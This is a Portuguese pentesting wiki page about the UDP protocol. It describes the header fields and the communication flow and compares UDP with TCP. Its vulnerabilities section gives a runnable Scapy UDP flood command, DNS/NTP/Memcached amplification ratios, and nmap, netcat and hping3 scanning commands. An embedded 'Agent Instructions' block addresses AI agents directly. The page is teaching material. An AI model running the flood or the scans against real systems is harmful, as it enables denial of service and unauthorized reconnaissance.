# UDP

### 🌐 **Visão Geral do UDP**

Protocolo de transporte **sem conexão** (Layer 4 OSI) que oferece:\
✔ Baixa latência\
✔ Transmissão simples\
✔ Sem handshake ou controle de fluxo

```mermaid
graph TD
    A[Aplicação] -->|Dados| B(UDP)
    B -->|Datagramas| C(IP)
```

### 🔧 **Anatomia do Datagrama UDP**

![UDP Header](/files/b255bc5bd4f83c3fc5c3dee76737752cde35c758) (Diagrama oficial RFC 768)

#### 📋 **Tabela de Campos**

| Campo (Offset)  | Tamanho | Descrição                     | Pentest Relevance        |
| --------------- | ------- | ----------------------------- | ------------------------ |
| Source Port (0) | 16 bits | Porta origem (opcional)       | Spoofing attacks         |
| Dest Port (2)   | 16 bits | Porta destino (e.g., 53, 161) | Service scanning         |
| Length (4)      | 16 bits | Tamanho total (header + data) | Packet crafting          |
| Checksum (6)    | 16 bits | Verificação de integridade    | Optional (pode ser zero) |

### 🔄 **Fluxo de Comunicação**

```mermaid
sequenceDiagram
    Cliente->>Servidor: Datagrama UDP (Direto)
    Note right of Servidor: Sem confirmação
    Cliente->>Servidor: Novo datagrama (se necessário)
```

### ⚠️ **Vulnerabilidades e Explorações**

#### 1. **UDP Flood Attack**

```python
from scapy.all import *
send(IP(dst="target")/UDP(sport=RandShort(), dport=53)/"A"*1024, loop=1)
```

**Amplificação comum**: DNS (50:1), NTP (556:1), Memcached (10,000:1)

#### 2. **UDP Scanning**

```bash
# Scan básico com Netcat
nc -zuv target.com 53-161

# Scan avançado com Nmap
nmap -sU -Pn --top-ports 100 target.com
```

#### 3. **Spoofing Attacks**

* Fácil falsificação de pacotes (sem handshake)
* Ataques de reflexão/amplificação

### 🛠️ **Ferramentas Essenciais**

```bash
# Sniffing básico
tcpdump -ni eth0 udp

# Crafting manual (hping3)
hping3 --udp -p 53 -c 3 target.com

# Teste de serviços
nmap -sUV -T4 --version-intensity 2 target.com
```

### 📚 **Referências Avançadas**

* RFC 768 (Especificação original)
* CERT Advisory CA-1996-01 (UDP Port Denial-of-Service)
* MITRE ATT\&CK: T1046 (Network Service Scanning)

> 🔍 **Dica para Pentesters**: Serviços UDP comuns para testar:
>
> * **53**: DNS
> * **67/68**: DHCP
> * **69**: TFTP
> * **123**: NTP
> * **161/162**: SNMP
> * **500**: ISAKMP
> * **1900**: UPnP

### ⚡ **Comparação TCP vs UDP**

```mermaid
pie
    title Tráfego Internet (2023)
    "TCP" : 85
    "UDP" : 15
```

**Use UDP quando**:

* Velocidade > confiabilidade (VoIP, streaming)
* Comunicações broadcast/multicast
* Transações simples (DNS lookup)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/conceitos/redes/udp.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
